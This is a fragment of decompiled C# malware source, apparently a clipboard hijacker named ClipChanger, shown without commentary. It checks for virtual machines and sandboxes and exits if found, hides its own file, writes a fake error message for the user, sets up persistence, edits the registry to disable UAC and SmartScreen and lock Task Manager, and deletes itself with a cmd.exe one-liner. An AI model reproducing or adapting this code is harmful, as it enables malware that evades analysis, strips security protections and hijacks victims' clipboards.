// Token: 0x0600002E RID: 46 RVA: 0x00002F08 File Offset: 0x00001108
public static bool CheckWMI()
{
List <string> list = new List <string>
{
"virtual",
"vmbox",
"vmware",
"virtualbox",
"box",
"thinapp",
"VMXh",
"innotek gmbh",
"tpvcgateway",
"tpautoconnsvc",
"vbox",
"kvm",
"red hat"
};
List <string> modelsAndManufactures = CheckVirtual.GetModelsAndManufactures();
using (List <string> .Enumerator enumerator = modelsAndManufactures.GetEnumerator())
{
if (enumerator.MoveNext())
{
string item = enumerator.Current;
return(list.Contains(item));
}
}
return(false);
}
// Token: 0x0600002F RID: 47 RVA: 0x00002FFC File Offset: 0x000011FC
public static bool Inizialize()
{
return(CheckVirtual.GetIsRdpAvailable() || CheckVirtual.GetSandBoxies() || CheckVirtual.CheckWMI());
}
public static void Main()
{
if (RunCheck.CheckMutex())
{
Date date = new Date();
if (date.AntiVm && CheckVirtual.CheckWMI())
{
Environment.Exit(0);
}
if (date.Delay)
{
Program.Sleeping(RunCheck.ThreadSleep);
}
if (GlobalPath.AssemblyPath.StartsWith(GlobalPath.StartUpFromAppDataReserv, StringComparison.OrdinalIgnoreCase))
{
if (!GlobalFile.IsHideOrNo())
{
GlobalFile.HideFile(GlobalPath.AssemblyPath, FileAttributes.Hidden);
}
ClipChanger.StartChanger();
return;
}
new Thread(delegate()
{
ProcessControl.KillClipInizialize();
})
{
IsBackground = true
}.Start();
if (date.AddGarbage)
{
new Thread(delegate()
{
Garbage.InizializeTrash(500);
}).Start();
}
if (date.FakeText)
{
File.WriteAllText(string.Concat(new string[]
{
"Error.txt"
}), GlobalPath.MessageErrorTextForUser);
}
if (date.AddInSystemRun)
{
InjReg.CopyAndShelduderInizialize();
RegistryControl.ToogleHidingFolders("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", "Hidden", 2);
ExpSetting.RefreshExplorer();
if (date.Uac)
{
RegistryControl.ToogleUacAdmin("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0);
}
if (date.Smart)
{
RegistryControl.ToogleSmartScreen("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer", "SmartScreenEnabled", "Off");
}
if (date.TaskLock)
{
RegistryControl.ToogleTaskMandRegedit("Software\\Microsoft\\Windows\\CurrentVersion\\Policies", 1);
}
GlobalFile.HideFile(GlobalPath.AssemblyPath, FileAttributes.Normal);
Liquidation.Inizialize(GlobalPath.BatchFile);
Liquidation.SelfDelete("cmd.exe", "/C choice /C Y /N /D Y /T 1 & Del \"" + GlobalPath.GetFileName);
return;
}
if (!GlobalFile.IsHideOrNo())
{
GlobalFile.HideFile(GlobalPath.AssemblyPath, FileAttributes.Hidden);
ClipChanger.StartChanger();
return;
}
}
else
{
Environment.Exit(0);
}
}
